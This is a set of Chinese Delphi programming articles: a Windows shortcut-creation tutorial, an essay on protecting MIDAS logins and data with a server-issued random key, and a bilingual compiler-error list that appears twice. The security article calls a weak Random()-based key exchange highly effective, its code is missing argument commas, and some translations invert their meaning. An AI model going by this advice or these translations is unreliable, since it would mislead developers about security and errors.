function CreateShortcut(SourceFileName : string; file://源程序的位置
ShortcutName : string; file://快捷方式的名称
ShortcutLocation : ShortcutType; file://快捷方式的建立位置
SubDirectory : string file://程序组的名称
):Boolean;
其中ShortcutType是程序中自定义的一个枚举类：
type
ShortcutType=(_DESKTOP, file://桌面
_STARTMENU, file://开始菜单
_PROGRAMS, file://程序
_STARTUP, file://启动
_QUICKLAUNCH file://快速启动栏
);
CreateShortcut()函数用于实现快捷方式和程序组的创建，如果创建成功，则返回一个真值（True），否则返回为假值（False）。这可是本文中最重要的代码段哟！
function TForm1.CreateShortcut(SourceFileName, ShortcutName: string;ShortcutLocation:ShortcutType; SubDirectory: string):boolean;
const
REG_SHELLFOLDERS =
'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders';
var
MyObject : IUnknown; file://IUnknown是基本的COM类
MySLink : IShellLink; file://用于创建快捷方式的对象
MyPFile : IPersistFile; file://用于保存快捷方式的对象
SubDir,Directory,LinkName : string;
WFileName : WideString;
Reg : TRegistry;
begin
Result:=False;
MyObject := CreateCOMObject(CLSID_ShellLink); file://建立快捷方式的COM对象
MySLink := MyObject as IShellLink;
MyPFIle := MyObject as IPersistFile;
MySLink.SetPath(pchar(SourceFileName)); file://设置快捷方式源文件的位置
Reg := TRegistry.Create ;
Reg.RootKey := HKEY_CURRENT_USER;
try
if Reg.OpenKey(REG_SHELLFOLDERS,false) then
begin
if SourceFileName<>'' then
if ShortcutName <>'' then
LinkName := ShortcutName
else
LinkName := ExtractFileName(SourceFileName)
Else file://当源路径是一个空值时，实际它指向“我的电脑”
LinkName := '我的电脑';

MySLink.SetDescription(pchar(LinkName)); file://设置快捷方式描述
LinkName := ChangeFileExt(LinkName,'.lnk'); file://修改扩展名
file://以下通过注册表得到快捷方式的实际建立位置
case ShortcutLocation of
_DESKTOP : Directory := Reg.ReadString('Desktop');
_STARTMENU : Directory := Reg.ReadString('Start Menu');
_PROGRAMS: Directory := Reg.ReadString('Programs');
_STARTUP : Directory := Reg.ReadString('Startup');
_QUICKLAUNCH:Directory:=Reg.ReadString('AppData')+
'\Microsoft\Internet Explorer\Quick Launch'; file://快速启动栏的路径比较特殊
end;
if Directory <> '' then
begin
if SubDirectory <> '' then
begin
SubDir:=Directory + '\'+ SubDirectory;
WFileName := SubDir + '\' + LinkName ;
if not CreateDir(SubDir) then file://创建目录失败
begin
Result:=false;
Exit;
end;
end
else
WFileName := Directory + '\' + LinkName;
if MyPFile.Save(PWChar(WFileName),True)<>S_OK then
begin
Result:=False;
Exit;
end
else
Result:=true;
end
else
Result:=False;
end;
finally
Reg.Free ; file://释放空间
end;
end;
3、 编写浏览文件按钮的代码，如下：
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.Text := OpenDialog1.FileName ;
end;
4、 同样的步骤编写“退出”按钮的代码：
procedure TForm1.Button3Click(Sender: TObject);
begin
Close;
end;
5、 下面是“创建”按钮的代码，直接调用我们建立的CreateShoutcut()函数来实现：
procedure TForm1.Button2Click(Sender: TObject);
var
SLinkType : ShortcutType;
begin
case ComboBox1.ItemIndex of
0 : SLinkType := _DESKTOP;
1 : SLinkType := _STARTMENU;
2 : SLinkType := _PROGRAMS;
3 : SLinkType := _STARTUP;
4 : SLinkType := _QUICKLAUNCH;
end;
if CreateShortcut(Edit1.Text ,Edit3.Text ,SLinkType, Edit2.Text ) then
Application.MessageBox(pchar('快捷方式创建成功!'),pchar('系统消息'),MB_OK)
else
Application.MessageBox(pchar('快捷方式创建失败!'),pchar('系统消息'),MB_OK);
end;
现在按下F9编译运行这个程序，你就可以试试创建快捷方式的效果了。程序的运行效果如图2：
<P><IMG BORDER="0" SRC="http://www.jyzx.com/bbs/uploadImages/20023134353019903.jpg" WIDTH="408" HEIGHT="290"></P>

当然，你还可以把程序修改后用于你的安装系统，实现个性化的安装程序，那种感觉一定酷毕了！
程序在Windows2000、Delphi6.0下编译通过。

作者：耿百强
地址：中共河南省济源市委党校
邮政编码：454650
联系电话：0391-6666267
E-Mail:dxgbq@sohu.com
OICQ:10562208
写稿日期：2002-3-12


CSDN_文档中心_Delphi编写网络程序的安全措施

Delphi编写网络程序的安全措施

Delphi的MIDAS控件为编写网络程序提供了十分方便的手段。利用这些控件，可以编写局域网上的客户机／服务器体系程序，也能方便地在Internet上创建分散处理的应用。

网络程序的一个重要问题是安全性考虑。一些敏感数据在网上传送，很有可能被人非法拦截以造成不必要的损失。在实际的编程过程中，我采取了一些有效的防范措施，在此作些简单的介绍。

一、 原理

目前进行数据加密的方法很多，对数据的保护起到一定的作用。但如果采用固定的密钥或是密钥随数据一起传送，则均不能达到令人满意的保密效果。在实践过程中，我摸索出了一套“请求－应答”模式的随机密钥方法，对密码和数据的保密效果都令人十分满意。

当客户端程序启动并企图与服务器程序建立连接时，客户程序从服务器端取得一个由服务器程序产生的随机字串，系统将以此字串为密钥来传送用户登录密码和数据。由于密钥由服务器程序随机产生，客户每次登录时密钥均不相同，因此大大减少了密码被拦截导致数据被窃的可能性。

服务器端可以在远程数据模块中引出一个自定义接口，该接口返回一个随机字串。远程数据模块要记录该字串作为后续处理的密钥。随机字串的产生法可以多种多样，最简单的方法是用Random()函数产生一个随机数后再由此数用Format()函数或IntToStr()产生一个字符串。

二、 用户登录措施

为了防止程序被非法调试从而泄露密码，必须将客户的登录信息在服务器端处理，也可以专门增加一个安全层负责客户的登录。客户的登录信息储存在客户资料表中，包括用户名、密码、权限等信息。

客户程序登录时，先调用服务器程序的接口获得密钥字串，并用此密钥对用户输入的用户名和密码进行加密并向服务器发送登录信息。加密算法可以是DES算法或其它有效算法。服务器接到登录信息后，先用先前产生并记录的随机密钥对登录信息进行解密，再将解密后的信息与存储的客户资料表中的信息进行对照，从而判断客户信息是否合法以及该客户享有的数据权限等。

该过程的客户端程序如下：

strKey:=myRemoteSever.GetKey();

{调用服务器的接口获得随机密钥}

UserName:=Ency(strUserName

strKey);

{对用户名加密，Ency()为加密算法}

Password:=Ency(strPassword

strKey);

{对登录密码进行加密}

If myRemoteServer.LogIn(UserName

Password) then {登录}

Begin

{进行处理}

End;

服务器端的登录过程LogIn()如下：

strUserName:=DeEncy(UserName

strKey);

{对用户名解密，DeEncy()为解密算法}

strPassword:=DeEncy(Password

strKey);

{对登录密码解密}

{查询数据库}

if (Pass) then

Result:=true

Else

Result:=false;

要注意的是，在服务器程序和客户程序中，StrKey均应定义为全程变量。

为了防止客户资料表被程序外打开从而泄露密码，可以对客户资料进行一定的加密措施，例如PARADOX表可以添加Password，服务器程序在访问客户资料表时先提供该Password。

三、 数据传送

在网络程序中，一些敏感数据在网上传送时必须加密。Delphi的MIDAS机制提供了数据加密的途径，可以在数据传往客户端之前对一些字段进行加密，也可以在接收到客户端的更新数据请求后对来自客户端的数据的相应字段进行解密后才向数据库进行更新。为了达到些目的，可以在服务器程序的远程数据模块中加入一个Tprovider或是TdataSetProvider对象，并将此对象的DataSet属性置为要处理的数据集。在Tprovider的OnGetData事件中加入如下代码：

with DataSet do

begin

while not EOF do

begin

Edit;

SensitiveData.AsString :=

Ency(SensitiveData.AsString

strKey);

{对敏感数据加密}

Post;

Next;

end;

end;

以上代码可以将敏感数据加密后再送往客户程序。

同样，在Tprovider的OnUpdateData事件中加入一些处理代码便可对客户端送来的数据进行解密。

以上只是介绍了网络程序安全措施实现的一般原理，在此基础上，可以增加其它保密措施，以达到更好的保密效果。例如，客户程序可以用特定的辅助硬件设备来增加安全性。在智能卡应用程序中，客户程序在登录时不仅要求用户输入用户名和密码，程序同时检查IC读写器中IC卡的类型及特定的内容，这样，既使密码泄露了不会被人冒名登录。当然，任何安全措施都不是绝对安全的，安全措施还要有严格的保密制度及使用人员的高度的保密意识才能真正起到保密作用。


CSDN_文档中心_delphi编译错误信息

*******************************
* 编 译 错 误 信 息 *
*******************************
';' not allowed before 'ELSE' ElSE前不允许有“;”
'<clause>' clause not allowed in OLE automation section 在OLE自动区段不允许“<clause>”子句
'<name>' is not a type identifier <name>不是类型标识符
'<name>' not previously declared as a PROPERTY <name>前面没有说明PROPERTY
'GOTO <label>' leads into or out of TRY statement GOTO <label>进入或超出TRY语句的范围
<clause1> clause expected, but <clause2> found 要求子句<clause1>，但出现<clause2>
16-Bit fixup encountered in object file '<text>' 在对象文件<text>遇到16位修复
486/487 instructions not enabled 不能用486/487指令
Abstract methods must be virtual or dynamic 抽象方法必须为虚拟的或动态的
Array type required 需要数组类型
Assignment to FOR-Loop variable '<Name>' 给FOR循环变量<Name>赋值
Bad argument type in variable type array constructor 在变量类型数组结构中不正确的参数类型
Bad file format '<name>' 错误的文件格式<name>
Bad file format: <Filename> 错误的文件格式<Filename>
Bad global symbol definition: '<Name>' in object file '<Filename>' 对象文件'<Filename>'中错误的全局符号定义'<Name>'
Bad unit format: <Filename> 错误的单元格式<Filename>
BREAK or CONTINUE outside of loop BREAK或CONTINUE超出循环
Cannot add or subtract relocatable symbols 不能增加或减少可重置的符号
Cannot assign to a read-only property 不能指定只读属性
Cannot BREAK, CONTINUE or EXIT out of a FINALLY clause 超出FINALLY子句的范围，不能使用BREAK,CONTINUE或EXIT语句
Cannot initialize local variables 不能初始化局部变量
Cannot initialize multiple variables 不能初始化多个变量
Cannot initialize thread local variables 不能初始化线程局部变量
Cannot override a static method 不能覆盖静态方法
Cannot read a write-only property 不能读取只写属性
Case label outside of range of case expression CASE标号超出了CASE表达式的范围
Circular unit reference to <Unitname> 对单元<Unitname>循环引用
Class already has a default property 类已具有默认的属性
Class does not have a default property 类没有默认的属性
Class or object types only allowed in type section 在类型区段只允许有类或对象类型
Class type required 需要类类型
Close error on <Filename> 文件<Filename>关闭错误
Compile terminated by user 用户中止编译
Constant expected 要求常量
Constant expression expected 要求常量表达式
Constant expression violates subrange bounds 常量表达式超出子界范围
Constant object cannot be passed as var parameter 常量对象不能作为变量参数传递
Constant or type identifier expected 要求常量或类型标识符
Constants cannot be used as open array arguments 常量不能用作打开数组参数
Constructing instance of '<name>' containing abstract methods 构造的<name>实体包含抽象的方法
Could not compile used unit '<Unitname>' 不能用单元<Unitname>编译
Could not create output file <Filename> 不能建立输出文件<Filename>
Could not load RLINK32.DLL 不能加载RLINK32.DLL
Data type too large: exceeds 2 GB 数据类型太大：超过2GB
Declaration of <Name> differs from previous declaration <Name>的说明与先前的说明不同
Default property must be an array property 默认的属性必须为数组属性
Default values must be of ordinal, pointer or small set type 默认的值必须为序数、指针或小集类型
Destination cannot be assigned to 目标不能指定
Destination is inaccessible 目标不能存取
Dispid '<number>' already used by '<name>' DISPID标识号已被<name>使用
Dispid clause only allowed in OLE automation section DISPID子句只能在OLE自动区段中使用
Division by zero 除数为零
Duplicate case label CASE标号重复
Duplicate tag value 重复的标志值
Dynamic method or message handler not allowed here 这里不允许有动态方法或信息处理程序
Dynamic methods and message handlers not allowed in OLE automation section在OLE自动区段不允许有动态方法或消息处理程序
Element 0 inaccessible - use 'Length' or 'SetLength' 元素0不能存取-使用LENGTH或SETLENGTH
Error in numeric constant 数值常量错误
EXCEPT or FINALLY expected 要求EXCEPT或FINALLY
EXPORTS allowed only at global scope EXPORTS只允许在全局范围使用
Expression has no value 表达式没有值
Expression too complicated 表达式太复杂
Field definition not allowed in OLE automation section 在OLE自动区段中不允许域定义
Field definition not allowed after methods or properties 在方法或属性后不允许域定义
Field or method identifier expected 要求域或方法标识符
File not found: <Filename> 文件<Filename>没有找到
File type not allowed here 这儿不允许文件类型
For loop control variable must be simple local variable FOR循环控制变量必须为简单局部变量
For loop control variable must have ordinal type FOR循环控制变量必须为序数类型
FOR or WHILE loop executes zero times - deleted FOR或WHILE循环执行零次-删除
FOR-Loop variable '<name>' cannot be passed as var parameter FOR循环变量<name>不能作为参数传递
FOR-Loop variable '<Name>' may be undefined after loop 在循环后的FOR循环变量<NAME>是不确定的
Function needs result type 函数需要结果类型
Identifier redeclared: '<name>' 标识符<name>重复说明
Illegal character in input file: '<char>' ($<hex>) 在输入文件中的非法字符'<char>'
Illegal message method index 非法的消息方法指针
Illegal reference to symbol '<Name>' in object file '<Filename>' 在对象文件<filename>中对符号<name>的非法引用
Illegal type in OLE automation section: '<typename>' 在OLE自动区段中的非法类型<typename>
Illegal type in Read/Readln statement 在Read/Readln语句中的非法类型
Illegal type in Write/Writeln statement 在Write/Writeln语句中的非法类型
Inaccessible value 不可存取的值
Incompatible types: '<name>' and '<name>' 不兼容的类型<name>和<name>
Incompatible types: <text> 不兼容的类型<text>
Inline assembler stack overflow 内联汇编溢出
Inline assembler syntax error 内联汇编语法错误
Instance variable '<name>' inaccessible here 实体变量<name>在这里不能存取
Integer constant or variable name expected 要求整形常量或变量名
Integer constant too large 整型常量太大
Internal error: <ErrorCode> 内部错误<errorcode>
Invalid combination of opcode and operands 操作码与操作对象的无效组合
Invalid compiler directive: '<Directive>' 无效的编译指令<DIRECTIVE>
Invalid function result type 无效的函数值类型
Invalid message parameter list 无效的消息参数列表
Invalid register combination 无效的寄存器组合
Invalid typecast 无效的TYPECASE
Label '<Name>' is not declared in current procedure 在当前的过程中没有说明标号<NAME>
Label already defined: '<Labelname>' 标号<LABELNAME>已经定义
Label declaration not allowed in interface part 在界面部分不允许标号说明
Label declared and referenced, but not set: '<label>' 标号被<label>说明及引用,但不能设置
Label expected 要求标号
Left side cannot be assigned to 左边不能赋值
Line too long (more than 255 characters) 行太长(超出255个字符)
Local class or object types not allowed 不允许局部的类或对象类型
Local procedure/function '<Name>' assigned to procedure variable 局部过程/函数<NAME>赋给过程变量
LOOP/JCXZ distance out of range LOOP/JCXZ距离超出范围
Low bound exceeds high bound 下界超过上界
Memory reference expected 要求内存引用
Method '<name>' hides virtual method of base type '<name>' 方法<NAME>隐藏了基类型为<NAME>的虚拟方法
Method '<name>' not found in base class 在基类中没有找到方法<NAME>
Method identifier expected 要求方法标识符
Missing ENDIF directive 缺少ENDIF指令
Missing operator or semicolon 缺少操作符或分号
Missing or invalid conditional symbol in '$<symbol>' directive 在$<symbol>指令中缺少或无效的条件符号
Missing parameter type 缺少参数类型
Necessary library helper function was eliminated by linker 必要的库帮助函数被连接程序删除
No definition for abstract method '<name>' allowed 抽象方法<NAME>没有定义
Not enough actual parameters 没有足够的实际参数
Number of elements differs from declaration 元素数与说明不同
Numeric overflow 数值溢出
Object or class type required 需要对象或类类型
Object type required 需要对象类型
Only register calling convention allowed in OLE automation section 在OLE自动区段中只允许寄存器调用约定
Operand size mismatch 运算对象大小匹配
Operator not applicable to this operand type 运算符不使用于这一运算对象类型
Order of fields in record constant differs from declaration 在记录常量中的域次序与说明不同
Ordinal type required 需要序数类型
Out of memory 内存溢出
Overflow in conversion or arithmetic operation 转换或算术操作溢出
Overriding automated virtual method '<name>' cannot specify a dispid 覆盖的自动虚拟方法<NAME>不能指定DISPID
PACKED not allowed here 这里不允许PACKED
Pointer type required 需要指针类型
Procedure cannot have a result type 过程不能有结果类型
Procedure DISPOSE needs destructor 过程DISPOSE需要destructor
Procedure FAIL only allowed in constructor 过程FAIL只允许在constructor方法中
Procedure NEW needs constructor 过程NEW需要constructor方法
PROCEDURE or FUNCTION expected 要求PROCEDURE或FUNCTION
Procedure or function name expected 要求过程或函数名
Program or unit '<name>' recursively uses itself 程序或单元递归
Property '<name>' does not exist in base class 在基类中<NAME>属性不存在
Published property '<name>' cannot be of type <type> Published属性<NAME>不能具有类型<type>
Published Real48 property '<name>' must be Single, Double or Extended Published REAL属性<NAME>必须为Single, Double或Extended
Re-raising an exception only allowed in exception handler 在意外处理中只允许重新引起意外处理
Read error on <Filename> 文件<FILENAME>读出错
Record, object or class type required 需要记录,对象或类类型
Redeclaration of '<name>' hides a member in the base class <NAME>的重新说明隐藏了基类中一个元素
Redeclaration of property not allowed in OLE automation section 在OLE自动区段中不允许属性重复说明
Return value of function '<Functionname>' might be undefined 函数<Functionname>的返回值可能没有定义
Seek error on <Filename> 在<FILENAME>中搜索错误
Segment/Offset pairs not supported in Borland 32-bit Pascal 在Borland 32位的PASCAL中不支持Segment/Offset对
Sets may have at most 256 elements 集至少有256个元素
Size of published set '<name>' is >32 bits published集<NAME>的大小大于32字节
Slice standard function only allowed as open array argument Slice标准函数只允许作为打开数组参数
Statement expected, but expression of type '<type>' found 要求语句,但出现类型<TYPE>的表达式
Statements not allowed in interface part 在界面中不允许的语句
String constant too long 字符串常量太长
String constant truncated to fit STRING[<number>] 字符串常量截取到适合STRING[<number>]
Strings may have at most 255 elements 字符串至少255个元素
Structure field identifier expected 要求结构域标识符
Syntax error in real number 实数语法错误
System unit out of date or corrupted: missing '<name>' 系统单元超出日期或损坏:缺少<NAME>
Text after final 'END. 编译器忽略END.后的文本
This form of method call only allowed for class methods 该方法的窗体只允许类方法
This form of method call only allowed in methods of derived types 该方法的窗体只允许在导出类型的方法中
This type cannot be initialized 这一类型不能初始化
Thread local variables cannot be ABSOLUTE 线程局部变量不能是ABSOLUTE
Thread local variables cannot be local to a function or procedure 线程局部变量对函数不能是局部的
Too many actual parameters 太多的实际参数
Too many conditional symbols 太多的条件符号
Type '<name>' has no type info 类型<NAME>没有类型信息
Type '<Name>' is not yet completely defined 类型<NAME>至今没有定义
Type '<name>' must be a class to have a PUBLISHED section 类型<NAME>必须是在PUBLISHED区段中的类
Type '<name>' must be a class to have OLE automation 类型<NAME>必须是具有OLE自动的类
Type '<name>' needs finalization - not allowed in file type 类型<NAME>需要初始化-不允许在文件类型中
Type '<name>' needs finalization - not allowed in variant record 类型<NAME>需要初始化-不允许在变体记录
Type expected 要求TYPE
Type not allowed in OLE Automation call 在OLE自动调用中不允许的类型
Type of expression must be BOOLEAN 表达式的类型必须为BOOLEAN型
Type of expression must be INTEGER 表达式的类型必须为INTEGER型
TYPEINFO standard function expects a type identifier TYPEINFO标准函数要求类型标识符
TYPEOF can only be applied to object types with a VMT TYPEOF只能用于具有VMT的对象类型
Types of actual and formal var parameters must be identical 形参与实参必须一致
Undeclared identifier: '<name>' 未说明的标识符<NAME>
Unexpected end of file in comment started on line <Number> 以行<Number>开始的注释中出现不应有的文件结束
Unit <Unit1> was compiled with a different version of <Unit2> 单元<UNIT1>与不同版本的<UNIT2>编译
Unit name mismatch: '<Unitname>' 单元名不匹配<UNITNAME>
Unknown directive: '<Directive>' 未知的指令<DIRECTIVE>
Unnamed arguments must precede named arguments in OLE Automation call 在OLE自动调用中未命名的参数必须在命名的参数前
Unsatisfied forward or external declaration: '<Procedurename>' 不满足的向前或外部说明<Procedurename>
Unterminated string 未结束的字符串
Value assigned to '<Name>' never used 赋给<NAME>的值从未使用过
Variable '<name>' inaccessible here due to optimization 由于优化,变量名<NAME>在这里不能存取
Variable '<name>' is declared but never used in '<name>' 变量名<NAME>已说明,但不曾使用
Variable '<Name>' might not have been initialized 变量名<NAME>可能没有初始化
Variable required 需要变量
Virtual constructors are not allowed 不允许虚拟的constructors方法
Write error on <Filename> 文件<Filename>写错误
Wrong or corrupted version of RLINK32.DLL RLINK32.DLL版本错误或不能用
***********************************************************************************************


CSDN_文档中心_Delphi编译错误中文手册

*******************************
* 编 译 错 误 信 息 *
*******************************
';' not allowed before 'ELSE' ElSE前不允许有“;”
'<clause>' clause not allowed in OLE automation section 在OLE自动区段不允许
“<clause>”子句
'<name>' is not a type identifier <name>不是类型标识符
'<name>' not previously declared as a PROPERTY <name>前面没有说明PROPERTY
'GOTO <label>' leads into or out of TRY statement GOTO <label>进入或超出TRY
语句的范围
<clause1> clause expected, but <clause2> found 要求子句<clause1>，但出现
<clause2>
16-Bit fixup encountered in object file '<text>' 在对象文件<text>遇到16位修
复
486/487 instructions not enabled 不能用486/487指令
Abstract methods must be virtual or dynamic 抽象方法必须为虚拟的或动态的
Array type required 需要数组类型
Assignment to FOR-Loop variable '<Name>' 给FOR循环变量<Name>赋值
Bad argument type in variable type array constructor 在变量类型数组结构中不
正确的参数类型
Bad file format '<name>' 错误的文件格式<name>
Bad file format: <Filename> 错误的文件格式<Filename>
Bad global symbol definition: '<Name>' in object file '<Filename>' 对象文件
'<Filename>'中错误的全局符号定义'<Name>'
Bad unit format: <Filename> 错误的单元格式<Filename>
BREAK or CONTINUE outside of loop BREAK或CONTINUE超出循环
Cannot add or subtract relocatable symbols 不能增加或减少可重置的符号
Cannot assign to a read-only property 不能指定只读属性
Cannot BREAK, CONTINUE or EXIT out of a FINALLY clause 超出FINALLY子句的范
围，不能使用BREAK,CONTINUE或EXIT语句
Cannot initialize local variables 不能初始化局部变量
Cannot initialize multiple variables 不能初始化多个变量
Cannot initialize thread local variables 不能初始化线程局部变量
Cannot override a static method 不能覆盖静态方法
Cannot read a write-only property 不能读取只写属性
Case label outside of range of case expression CASE标号超出了CASE表达式的范
围
Circular unit reference to <Unitname> 对单元<Unitname>循环引用
Class already has a default property 类已具有默认的属性
Class does not have a default property 类没有默认的属性
Class or object types only allowed in type section 在类型区段只允许有类或对
象类型
Class type required 需要类类型
Close error on <Filename> 文件<Filename>关闭错误
Compile terminated by user 用户中止编译
Constant expected 要求常量
Constant expression expected 要求常量表达式
Constant expression violates subrange bounds 常量表达式超出子界范围
Constant object cannot be passed as var parameter 常量对象不能作为变量参数传
递
Constant or type identifier expected 要求常量或类型标识符
Constants cannot be used as open array arguments 常量不能用作打开数组参数
Constructing instance of '<name>' containing abstract methods 构造的<name>实
体包含抽象的方法
Could not compile used unit '<Unitname>' 不能用单元<Unitname>编译
Could not create output file <Filename> 不能建立输出文件<Filename>
Could not load RLINK32.DLL 不能加载RLINK32.DLL
Data type too large: exceeds 2 GB 数据类型太大：超过2GB
Declaration of <Name> differs from previous declaration <Name>的说明与先前的
说明不同
Default property must be an array property 默认的属性必须为数组属性
Default values must be of ordinal, pointer or small set type 默认的值必须为
序数、指针或小集类型
Destination cannot be assigned to 目标不能指定
Destination is inaccessible 目标不能存取
Dispid '<number>' already used by '<name>' DISPID标识号已被<name>使用
Dispid clause only allowed in OLE automation section DISPID子句只能在OLE自动
区段中使用
Division by zero 除数为零
Duplicate case label CASE标号重复
Duplicate tag value 重复的标志值
Dynamic method or message handler not allowed here 这里不允许有动态方法或信
息处理程序
Dynamic methods and message handlers not allowed in OLE automation section在
OLE自动区段不允许有动态方法或消息处理程序
Element 0 inaccessible - use 'Length' or 'SetLength' 元素0不能存取-使用
LENGTH或SETLENGTH
Error in numeric constant 数值常量错误
EXCEPT or FINALLY expected 要求EXCEPT或FINALLY
EXPORTS allowed only at global scope EXPORTS只允许在全局范围使用
Expression has no value 表达式没有值
Expression too complicated 表达式太复杂
Field definition not allowed in OLE automation section 在OLE自动区段中不允许
域定义
Field definition not allowed after methods or properties 在方法或属性后不允
许域定义
Field or method identifier expected 要求域或方法标识符
File not found: <Filename> 文件<Filename>没有找到
File type not allowed here 这儿不允许文件类型
For loop control variable must be simple local variable FOR循环控制变量必须
为简单局部变量
For loop control variable must have ordinal type FOR循环控制变量必须为序数类
型
FOR or WHILE loop executes zero times - deleted FOR或WHILE循环执行零次-删除
FOR-Loop variable '<name>' cannot be passed as var parameter FOR循环变量
<name>不能作为参数传递
FOR-Loop variable '<Name>' may be undefined after loop 在循环后的FOR循环变量
<NAME>是不确定的
Function needs result type 函数需要结果类型
Identifier redeclared: '<name>' 标识符<name>重复说明
Illegal character in input file: '<char>' ($<hex>) 在输入文件中的非法字符
'<char>'
Illegal message method index 非法的消息方法指针
Illegal reference to symbol '<Name>' in object file '<Filename>' 在对象文件
<filename>中对符号<name>的非法引用
Illegal type in OLE automation section: '<typename>' 在OLE自动区段中的非法类
型<typename>
Illegal type in Read/Readln statement 在Read/Readln语句中的非法类型
Illegal type in Write/Writeln statement 在Write/Writeln语句中的非法类型
Inaccessible value 不可存取的值
Incompatible types: '<name>' and '<name>' 不兼容的类型<name>和<name>
Incompatible types: <text> 不兼容的类型<text>
Inline assembler stack overflow 内联汇编溢出
Inline assembler syntax error 内联汇编语法错误
Instance variable '<name>' inaccessible here 实体变量<name>在这里不能存取
Integer constant or variable name expected 要求整形常量或变量名
Integer constant too large 整型常量太大
Internal error: <ErrorCode> 内部错误<errorcode>
Invalid combination of opcode and operands 操作码与操作对象的无效组合
Invalid compiler directive: '<Directive>' 无效的编译指令<DIRECTIVE>
Invalid function result type 无效的函数值类型
Invalid message parameter list 无效的消息参数列表
Invalid register combination 无效的寄存器组合
Invalid typecast 无效的TYPECASE
Label '<Name>' is not declared in current procedure 在当前的过程中没有说明标
号<NAME>
Label already defined: '<Labelname>' 标号<LABELNAME>已经定义
Label declaration not allowed in interface part 在界面部分不允许标号说明
Label declared and referenced, but not set: '<label>' 标号被<label>说明及引
用,但不能设置
Label expected 要求标号
Left side cannot be assigned to 左边不能赋值
Line too long (more than 255 characters) 行太长(超出255个字符)
Local class or object types not allowed 不允许局部的类或对象类型
Local procedure/function '<Name>' assigned to procedure variable 局部过程/函
数<NAME>赋给过程变量
LOOP/JCXZ distance out of range LOOP/JCXZ距离超出范围
Low bound exceeds high bound 下界超过上界
Memory reference expected 要求内存引用
Method '<name>' hides virtual method of base type '<name>' 方法<NAME>隐藏了
基类型为<NAME>的虚拟方法
Method '<name>' not found in base class 在基类中没有找到方法<NAME>
Method identifier expected 要求方法标识符
Missing ENDIF directive 缺少ENDIF指令
Missing operator or semicolon 缺少操作符或分号
Missing or invalid conditional symbol in '$<symbol>' directive 在$<symbol>指
令中缺少或无效的条件符号
Missing parameter type 缺少参数类型
Necessary library helper function was eliminated by linker 必要的库帮助函数
被连接程序删除
No definition for abstract method '<name>' allowed 抽象方法<NAME>没有定义
Not enough actual parameters 没有足够的实际参数
Number of elements differs from declaration 元素数与说明不同
Numeric overflow 数值溢出
Object or class type required 需要对象或类类型
Object type required 需要对象类型
Only register calling convention allowed in OLE automation section 在OLE自动
区段中只允许寄存器调用约定
Operand size mismatch 运算对象大小匹配
Operator not applicable to this operand type 运算符不使用于这一运算对象类型
Order of fields in record constant differs from declaration 在记录常量中的域
次序与说明不同
Ordinal type required 需要序数类型
Out of memory 内存溢出
Overflow in conversion or arithmetic operation 转换或算术操作溢出
Overriding automated virtual method '<name>' cannot specify a dispid 覆盖的
自动虚拟方法<NAME>不能指定DISPID
PACKED not allowed here 这里不允许PACKED
Pointer type required 需要指针类型
Procedure cannot have a result type 过程不能有结果类型
Procedure DISPOSE needs destructor 过程DISPOSE需要destructor
Procedure FAIL only allowed in constructor 过程FAIL只允许在constructor方法中
Procedure NEW needs constructor 过程NEW需要constructor方法
PROCEDURE or FUNCTION expected 要求PROCEDURE或FUNCTION
Procedure or function name expected 要求过程或函数名
Program or unit '<name>' recursively uses itself 程序或单元递归
Property '<name>' does not exist in base class 在基类中<NAME>属性不存在
Published property '<name>' cannot be of type <type> Published属性<NAME>不能
具有类型<type>
Published Real48 property '<name>' must be Single, Double or Extended
Published REAL属性<NAME>必须为Single, Double或Extended
Re-raising an exception only allowed in exception handler 在意外处理中只允许
重新引起意外处理
Read error on <Filename> 文件<FILENAME>读出错
Record, object or class type required 需要记录,对象或类类型
Redeclaration of '<name>' hides a member in the base class <NAME>的重新说明
隐藏了基类中一个元素
Redeclaration of property not allowed in OLE automation section 在OLE自动区
段中不允许属性重复说明
Return value of function '<Functionname>' might be undefined 函数
<Functionname>的返回值可能没有定义
Seek error on <Filename> 在<FILENAME>中搜索错误
Segment/Offset pairs not supported in Borland 32-bit Pascal 在Borland 32位的
PASCAL中不支持Segment/Offset对
Sets may have at most 256 elements 集至少有256个元素
Size of published set '<name>' is >32 bits published集<NAME>的大小大于32字节
Slice standard function only allowed as open array argument Slice标准函数只
允许作为打开数组参数
Statement expected, but expression of type '<type>' found 要求语句,但出现类
型<TYPE>的表达式
Statements not allowed in interface part 在界面中不允许的语句
String constant too long 字符串常量太长
String constant truncated to fit STRING[<number>] 字符串常量截取到适合
STRING[<number>]
Strings may have at most 255 elements 字符串至少255个元素
Structure field identifier expected 要求结构域标识符
Syntax error in real number 实数语法错误
System unit out of date or corrupted: missing '<name>' 系统单元超出日期或损
坏:缺少<NAME>
Text after final 'END. 编译器忽略END.后的文本
This form of method call only allowed for class methods 该方法的窗体只允许类
方法
This form of method call only allowed in methods of derived types 该方法的窗
体只允许在导出类型的方法中
This type cannot be initialized 这一类型不能初始化
Thread local variables cannot be ABSOLUTE 线程局部变量不能是ABSOLUTE
Thread local variables cannot be local to a function or procedure 线程局部变
量对函数不能是局部的
Too many actual parameters 太多的实际参数
Too many conditional symbols 太多的条件符号
Type '<name>' has no type info 类型<NAME>没有类型信息
Type '<Name>' is not yet completely defined 类型<NAME>至今没有定义
Type '<name>' must be a class to have a PUBLISHED section 类型<NAME>必须是在
PUBLISHED区段中的类
Type '<name>' must be a class to have OLE automation 类型<NAME>必须是具有OLE
自动的类
Type '<name>' needs finalization - not allowed in file type 类型<NAME>需要初
始化-不允许在文件类型中
Type '<name>' needs finalization - not allowed in variant record 类型<NAME>
需要初始化-不允许在变体记录
Type expected 要求TYPE
Type not allowed in OLE Automation call 在OLE自动调用中不允许的类型
Type of expression must be BOOLEAN 表达式的类型必须为BOOLEAN型
Type of expression must be INTEGER 表达式的类型必须为INTEGER型
TYPEINFO standard function expects a type identifier TYPEINFO标准函数要求类
型标识符
TYPEOF can only be applied to object types with a VMT TYPEOF只能用于具有VMT
的对象类型
Types of actual and formal var parameters must be identical 形参与实参必须一
致
Undeclared identifier: '<name>' 未说明的标识符<NAME>
Unexpected end of file in comment started on line <Number> 以行<Number>开始
的注释中出现不应有的文件结束
Unit <Unit1> was compiled with a different version of <Unit2> 单元<UNIT1>与
不同版本的<UNIT2>编译
Unit name mismatch: '<Unitname>' 单元名不匹配<UNITNAME>
Unknown directive: '<Directive>' 未知的指令<DIRECTIVE>
Unnamed arguments must precede named arguments in OLE Automation call 在OLE
自动调用中未命名的参数必须在命名的参数前
